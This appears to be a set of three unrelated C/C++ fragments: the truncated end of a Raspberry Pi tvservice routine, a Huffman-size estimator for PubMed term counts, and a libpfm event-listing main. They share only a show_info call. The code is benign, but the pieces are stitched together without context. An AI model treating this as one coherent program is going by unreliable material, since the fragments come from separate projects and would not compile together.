opt_status == 1 ) { if ( get_status() != 0 ) { goto err_stop_service; } } if ( opt_audiosup == 1 ) { if ( get_audiosup() != 0 ) { goto err_stop_service; } } if ( opt_dumpedid == 1 ) { if ( dump_edid(dumpedid_filename) != 0 ) { goto err_stop_service; } } if ( opt_showinfo ) { if ( show_info(opt_showinfo-1) != 0 ) { goto err_stop_service; } } if ( opt_name == 1 ) { TV_DEVICE_ID_T id; memset(&id, 0, sizeof(id)); if(vc_tv_get_device_id(&id) == 0) { if(id.vendor[0] == '\0' || id.monitor_name[0] == '\0') { LOG_ERR( "No device present" ); } else { LOG_STD( "device_name=%s-%s", id.vendor, id.monitor_name); } } else { LOG_ERR( "Failed to obtain device name" ); } } if ( opt_monitor == 1 ) { // Wait until we get the signal to exit vcos_event_wait( &quit_event ); vcos_event_delete( &quit_event ); } err_stop_service: // LOG_INFO( "Stopping tvservice" ); // Stop the tvservice vc_vchi_tv_stop(); // Disconnect the VCHI connection vchi_disconnect( vchi_instance ); exit( 0 ); err_usage: show_usage(); err_out: exit( 1 ); }
void calculate_huffman_encoded_size() { map<int, int> term_bit_counter; priority_queue<Node*, deque<Node*>, node_comparator> nodes; for (int i = 0; i < input::T_PM; ++i) { Node* node = new Node(); vector<int>* terms = new vector<int>(); terms->push_back(i); node->terms = terms; node->counter = pubmed::get_group_by_term(i); nodes.push(node); } while (nodes.size() > 1) { Node* left = nodes.top(); nodes.pop(); Node* right = nodes.top(); nodes.pop(); Node* result = new Node(); vector<int>* terms = new vector<int>(); terms->insert(terms->end(), left->terms->begin(), left->terms->end()); terms->insert(terms->end(), right->terms->begin(), right->terms->end()); result->terms = terms; result->counter = left->counter + right->counter; nodes.push(result); delete left; delete right; for (auto it = terms->begin(); terms->end() != it; ++it) { term_bit_counter[*it]++; } } show_info(term_bit_counter.size()); map<int, int> bit_len_counter; // calculate new size long compressed_bits = 0; long uncompressed_bits = 0; for (int i = 0; i < input::T_PM; ++i) { int freq = pubmed::get_group_by_term(i); uncompressed_bits += freq * 16; // assuming 16 bit shorts int compressed_code_len = term_bit_counter[i]; if (compressed_code_len % 4 != 0) { compressed_code_len = compressed_code_len - (compressed_code_len % 4) + 4; } compressed_bits += freq * compressed_code_len; bit_len_counter[term_bit_counter[i]]++; } for (auto it = bit_len_counter.begin(); bit_len_counter.end() != it; ++it) { show_info(it->first << " bits: " << it->second << " times."); } show_info("Uncompressed size: " << uncompressed_bits << " bits."); show_info("Compressed size: " << compressed_bits << " bits."); }
int main(int argc, char **argv) { static char *argv_all[2] = { ".*", NULL }; char *endptr = NULL; char **args; int c, match; regex_t preg; char model[MAX_PMU_NAME_LEN]; while ((c=getopt(argc, argv,"hsm:")) != -1) { switch(c) { case 's': options.sort = 1; break; case 'm': options.mask = strtoull(optarg, &endptr, 16); if (*endptr) fatal_error("mask must be in hexadecimal\n"); break; case 'h': usage(); exit(0); default: fatal_error("unknown error"); } } if (pfm_initialize() != PFMLIB_SUCCESS) fatal_error("PMU model not supported by library\n"); if (options.mask == 0) options.mask = ~0; if (optind == argc) { args = argv_all; } else { args = argv + optind; } pfm_get_max_event_name_len(&max_len); name = malloc(max_len+1); if (name == NULL) fatal_error("cannot allocate name buffer\n"); if (argc == 1) *argv = ".*"; /* match everything */ else ++argv; pfm_get_pmu_name(model, MAX_PMU_NAME_LEN); printf("PMU model: %s\n", model); while(*args) { if (regcomp(&preg, *args, REG_ICASE|REG_NOSUB)) fatal_error("error in regular expression for event \"%s\"", *argv); if (options.sort) match = show_info_sorted(&preg); else match = show_info(&preg); if (match == 0) fatal_error("event %s not found", *args); args++; } regfree(&preg); free(name); return 0; }